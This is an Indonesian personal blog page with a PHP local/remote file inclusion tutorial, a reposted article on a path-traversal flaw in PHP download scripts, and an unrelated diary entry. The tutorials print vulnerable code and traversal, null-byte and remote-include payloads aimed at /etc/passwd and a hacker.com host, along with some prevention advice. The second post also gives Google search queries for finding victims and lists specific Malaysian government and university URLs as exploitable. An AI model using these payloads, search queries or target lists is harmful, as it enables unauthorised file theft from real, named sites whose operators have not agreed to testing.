May 26, 2008

about LFI/RFI

Filed under: Bugs

apaan sih LFI (local file inclusion) itu??
LFI adalah suatu bug dimana kita bisa menginclude kan file (file yang berada didalam server yg bersangkutan)
ke page yang vulnerable (vulnerable LFI maksudnya).
sedangkan RFI (remote file inclusion) mirip dengan LFI, hanya saja kita bisa mengincludekan file diluar server yg bersangkutan.
(tentu saja mengekploitasi RFI akan lebih mudah & menyenangkan dibandingkan mengeksploitasi LFI).

fungsi-fungsi php yang digunakan dalam LFI/RFI:
include()
include_once()
require()
require_once()

contoh code:
1. vulnerable LFI dan RFI ==> konfigurasi yg dibutuhkan allow_url_include = on; allow_url_fopen = on
lfi.php
<?
$page = $_GET[page];
include($page);
?>

eksploitasi LFI
misalkan kita memanggil url
http://localhost/lfi.php?page=../../../../../../../../etc/passwd
atau
http://localhost/lfi.php?page=c:/boot.ini
jadi $page = $_GET[page] = ../../../../../../../../etc/passwd
dan file /etc/passwd akan dieksekusi.
karena /etc/passwd bukanlah code-code php maka isi dari /etc/passwd akan ditampilkan ke browser.

eksploitasi RFI
misalkan kita memanggil url
http://localhost/lfi.php?page=http://www.hacker.com/hack.txt
dan isi dari hack.txt adalah <? echo “dihack oleh hacker”; ?>

maka page tadi akan menampilkan tulisan “dihack oleh hacker”.
ini terjadi karena isi dari hack.txt dieksekusi oleh server.

2. vulnerable LFI saja
lfi.php
<?
$page = $_GET[page];
include(”./”.$page);
?>

misalkan kita memanggil url
http://localhost/lfi.php?page=../../../../../../../../etc/passwd
maka $page = $_GET[page] = ./../../../../../../../../etc/passwd
dan isi file /etc/passwd akan ditampilkan ke browser

misalkan kita memanggil url
http://localhost/lfi.php?page=http://www.hacker.com/hack.txt
maka baris ketika code php kita , yaitu include akan menjadi
include(”./”.http://www.hacker.com/hack.txt);
==> maka ./http://www.hacker.com/hack.txt akan dianggap sebagai file dan server akan mencari file tersebut.
tentu saja akan error karena file ./http://www.hacker.com/hack.txt tidak ada dalam server tersebut.

3. lain-lain ===> settingan yg dibutuhkan: allow_url_include = on; allow_url_fopen = on; magic_quotes_gpc = off
<?
$page = $_GET[page];
include($page.”.php”);
?>

eksploitasi LFI:
http://localhost/lfi.php?page=../../../../../../../../etc/passwd%00
maka $page = $_GET[page] = ../../../../../../../../etc/passwd%00.php
sedangkan fungsi dari %00 (teknik null injection) adalah untuk menghilangkan karakter sesudah %00 (tentunya %00 ikut hilang juga).
jadi $page = $_GET[page] = ../../../../../../../../etc/passwd ==> tanpa embel-embel .php
untuk melakukan teknik ini, maka settingan magic_quotes_gpc harus off, jika magic_quotesnya on maka %00 akan diganti oleh server menjadi \0 sehingga teknik null injection menjadi gagal.

exploitasi RFI:
http://localhost/lfi.php?page=http://www.hacker.com/hack.txt?
maka $page = $_GET[page] = http://www.hacker.com/hack.txt?.php
nah .php oleh server akan diabaikan.

Cara mencegah LFI/RFI
1.dengan code php
misalkan
<?
$page = $_GET[page];
switch($page)
{
case “1.php”:
include(”1.php”);
break;
case “2.php”:
include(”2.php”);
break;
default:
include(”1.php”);
}
?>
hal ini akan membuat file yang bisa di-includekan hanya 1.php dan 2.php
2.settingan server
misalkan
allow_url_include = off
allow_url_fopen = off
magic_quotes_gpc= on
open_basedir = “/www/html/serverku”

kesimpulan:
1. LFI dan RFI sebenernya adalah dua buah bug yang sangat mirip, hanya bedanya jika LFI mengambil file dari dalam server, maka RFI mengambil fil dari luar server

2. untuk RFI agar bisa dieksploitasi maka dibutuhkan agar settingan pada server : allow_url_include = on dan allow_url_fopen = on

3.null byte injection bisa dicegah dengan mengaktifkan magic_quotes

4. LFI dan RFI bisa dicegah dengan pengkodean dan pen-settingan server yang baik

PHP download script vulnerability

Filed under: Bugs

php download script vulnerability, itulah judul artikel saya yang dipublish di jasakom pada 18 januari 2008

http://www.jasakom.com/index.php?categoryid=9&p2_articleid=595
berikut ini isinya

PHP download script vulnerability
Oleh tomplixsee
Published: Januari 18, 2008

Sebenarnya saya bingung mau memberi judul apa pada artikel ini. Maaf bila judulnya agak kurang pas dengan isi artikelnya
PHP adalah suatu bahasa pemrograman web yang cukup sakti yang kehandalannya tidak diragukan lagi. Tapi,adanya kesalahan dalam logika pemrograman php akan bisa berakibat fatal.

Salah satu contohnya adalah :
//download.php
header( “Content-Type: application/octet-stream” );
header( “Content-Length: ” . filesize($_GET[’file’] ) );
header( “Content-Disposition: inline; filename=\”$_GET[file]\”");
readfile($_GET[’file’] );
?>

Kode php diatas memiliki kelemahan yang fatal, dimana variabel “file” sama sekali tidak difilter, sehingga hacker akan bisa mendownload file apapun yang ada di server tersebut. Misalkan saja sang hacker mengakses alamat http://korban/download.php?file=../../../../../../etc/passwd maka file /etc/passwd milik server akan dikirimkan ke hacker.
Atau jika hacker mengakses alamat http://korban/download.php?file=download.php maka hacker akan mendapatkan source code dari file download.php.
Sedangkan untuk mencari korban bisa kita gunakan google, misalkan dengan syntax inurl:”download.php?file=” , atau inurl:”download.php?file=*.pdf” -intext:”download.php?file=*.pdf” atau yang lainnya.

Beberapa contoh situs yang vulnerable adalah:

http://www.mpbp.gov.my/download.php?file=download.php
http://elearning.mmu.edu.my/download.php?file=download.php
http://www.utem.edu.my/fkp/latihanIndustri/download.php?file=../../../../../../etc/passwd
http://www.moe.gov.my/pipp/download.php?filename=/../../../../../../etc/passwd

Adapun sedikit hal untuk pencegahan adalah:

1. lakukan pemfilteran terhadap inputan yang diterima dari user.
Misalkan pemfilteran terhadap karakter “../”, “%00”, atau type file yang boleh didownload.
2. lakukan pembatasan file access
3. berikan batasan, file di folder mana saja yang boleh didownload atau tidak
4. untuk menghindari googling, hindari penamaan script dengan nama “download.php” dan nama variabel dengan nama “file”.

 

 Sumber : http://www.cupu-zone.com/wordpress/?p=12

 

May 3, 2008

Terasa Tenang Dan Sunyi Di Keramaian

Filed under: My Day

Malam ini terasa sunyi dan tenang dalam keramaian user warnet, udah jam 01.00 di temenin lagu dari Klompok Band Merpati. Mas Bambang sudah terlihat tidur di kursi depan, sementara kipas angin terus berputar. Besok hari minggu entah apa yang terjadi dengan hari esok aku tidak dapat berharap dengan kehidupan ini, sabtu ini ku lalui dengan hal seperti biasa di depan PC Operator yg kursinya beralaskan anyaman Rotan.

    Merasa binggung gak tau apa yang harus di laku’in lagi mecoba bercerita lewat blog ini. Hal-hal lain belum sempat terpikirkan. Soalnya gak punya cita-cita lagi mimpi yang ada hanya iklan sabun mandi, kenyataan yang ada memang pahit. Kehidupan ini memang sunyi dan semua di jalan ku, entah berlebihan atau gimana tapi kenyataan memang bilang bagitu. Di tengah kesunyian malam ini ku coba untuk membesarkan hati dengan bercerita lewat blog ini.

entah kenapa aku sendiri tidak tau, hal apa aku juga kurang ngerti, yang jelas hidup ini harus ku jalani selama masih bisa melihat malam dan masih bisa merasakan panasnya siang serta hangatnya pagi.